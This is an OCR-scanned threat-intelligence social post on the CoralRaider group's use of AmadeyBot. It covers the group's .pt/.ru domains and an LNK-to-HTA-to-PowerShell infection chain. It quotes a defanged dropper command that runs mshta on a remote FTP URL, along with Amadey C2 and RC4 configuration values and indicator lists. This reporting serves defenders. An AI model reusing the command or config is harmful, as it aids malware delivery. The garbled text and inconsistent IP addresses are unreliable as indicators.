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B - - -Attention - - - B} "APT CoralRaider Expands Arsenal: AmadeyBot, FTP Innovations,
and Complex Domain Strategy" #APT #TTPS #CoralRaider #threat #TA #malware #phishing
#infostealer #Amadey #Botnet #10C #RE «» Adversary TTPS: & ---Sophisticated using of
top-level domains (TLDs)--- #£ETP. Techniques: CoralRaider employs advanced FTP methods
for discreet and efficient data transfer, enhancing stealth and minimizing detection risks. [--
Last campaigns based on CDN--] #Domain Usage: The group utilizes both .pt (Portugal) and
.ru (Russia) domains, shifting from previous Vietnamese infrastructure. This diverse domain
use aids in evading detection and complicates attribution. #Origin Speculation: The
combination of .pt and .ru domains suggests a deliberate strategy to obscure their origins.
While earlier links pointed to Vietnam, the new domain evidence hints at potential
connections to Portuguese-speaking and Russian-speaking regions. ™ #Flow: #Ink -> #HTA
obfuscation->#PS1 Decrypter ->#Gzip-> ps1_Loader -> #SchTask -> #AmadeyBot |
Ink_Command: 7| .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e").
('PSChildName')hxxps://ftp[.]Jalphaglobal[.]pt/b[.]Jcod “% .Ink #Dropper %
"C:\Windows\system32\mshta[.Jexe" hxxps:/ftp[.]Jalphaglobal[.]pt/b[.]Jcod ¢ c2: ¢
176[.]61[.]150[.]1117:443 https://ftp[.]Jalphagloball.]pt/b[.]Jcod < Amadey_Config: < Family
amadey Version 4.41 Botnet 41cd5f #C2 hxxp://specificsecurity[.Jru Attributes strings_key
7ddd79f3dbc40c57a6e985f4fb083fba rc4.plain e13a1529d3734dd701be58b6beb43edd
DNS: smartkontur[.]site DNS dukastotranzal.]Jclick DNS specificsecurity[.Jru ---10¢'s:---
IP'S: ~ 79[.]110[.162[.]116 194[.]58[.]112[.]174 176[.]61[.]150[.]117 %> Domains: %2
alphagloball[.]pt dukastotranzal[.]click ftp.alphaglobal[.]pt smartkontur|.]site
specificsecurity[.]Jru Thanks for my partner -> Igal Lytzki ¥ Ref: € rb.gy/dkapp5 -> Cisco-
Talos. --- rb.gy/5m0Onxc -> Cisco-Talos. ,~ --More information via comments-- /~ #phishing
#phishingattack #hacking #threathunting #threatintelligence #cybersecurity #phishingemails
#cvberthreats #dataprotection #securitvawerness #threatresearch #cyberattack #detection
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